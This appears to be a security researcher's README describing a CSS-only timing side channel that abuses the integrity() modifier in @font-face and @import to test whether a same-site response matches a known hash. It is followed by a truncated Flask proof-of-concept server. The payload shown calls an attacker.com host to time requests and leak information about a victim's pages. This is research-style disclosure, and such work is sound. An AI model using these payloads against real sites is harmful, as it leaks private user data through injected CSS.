README.md
CSS only oracle on same site http responses using integrity() request modifier
- Inspired by this writeup (@amirmsafari).
I was checking out the referrer-policy feature and spotted that integrity() has also been added. This feature basically allows you to check the integrity of the response using its hash. It's especially useful for securely including resources from CDNs.
// include style.css from the cdn. Inclusion fails if the response is changed.
@import url('http://cdn/style.css' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));It can also be used on font requests.
@font-face {
font-family: a;
src: url('http://cdn/font.woff2' integrity('sha256-1iHZaZUbIMXPIAjL/CgqLUlt3+dadq/ntrMvFHC4pEk='));
}I had previously used font requests to oracle same site responses - strellic's corctf 2023 leaky note.
Basically, we put many url() values in the @font-face src. If the request fails the integrity check, then the request fails immediately and the OTS code is not reached, which leads to a shorter execution time than a request with a successful integrity test.
@font-face {
font-family: a;
src: url('http://attacker.com/start-timer'),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),url('/leak-url' integrity('sha256-...')),...,url('http://attacker.com/end-timer');
}
This technique allows us to determine whether a response exactly matches a value we already know. For example, we can use it to verify whether /email-search?text=a contains any result or {"status":false}.
One cool thing about this technique is that font responses are not protected by X-Content-Type-Options: nosniff. This technique only works when the attacker’s CSS is included while the document is loading because after the initial loading, a network request is sent for each url(). So you need to trigger the HTML injection before the document is fully loaded or you can use iframes with srcdoc, you probably don't have either of these when you're dealing with DOMPurify.
Since this doesn't work with DOMPurify, I tried using the @import() at-rule. I could see a timing difference between failed and successful integrity matches, but it only works reliably on Linux.
| from flask import Flask, Response, jsonify, request, send_file | |
| from pathlib import Path | |
| import hashlib | |
| import time | |
| import base64 | |
| app = Flask(__name__) | |
| timestamps = {} | |
| indexHtml = """ | |
| <html> | |
| /leak content: secretstuff | |
| Threshold: | |
| Search: | |
| </div> | |
| </div> | |
| function test(){ | |
| let threshold = +threshold_input.value | |
| let searchval = encodeURIComponent(search_input.value) | |
| css.innerHTML = `` | |
| success.innerHTML = 'Waiting...' | |
| failed.innerHTML = '' | |
| setTimeout(async _=>{ | |
| success.innerHTML = '' | |
| let r = await fetch('/time?t=result').then(r=>r.json()) | |
| if(r.diff > threshold){ | |
| success.innerHTML = `Result: Found - Difference: ${parseInt(r.diff)}` | |
| } else { | |
| failed.innerHTML = `Result: Not Found - Difference: ${parseInt(r.diff)}` | |
| } | |
| },3000) | |
| } | |
| </script> | |
| </body> | |
| </html> | |
| """ | |
| cssTemplate = """ | |
| @font-face { | |
| font-family: a; | |
| src: url('/time?t=first&$RANDOM |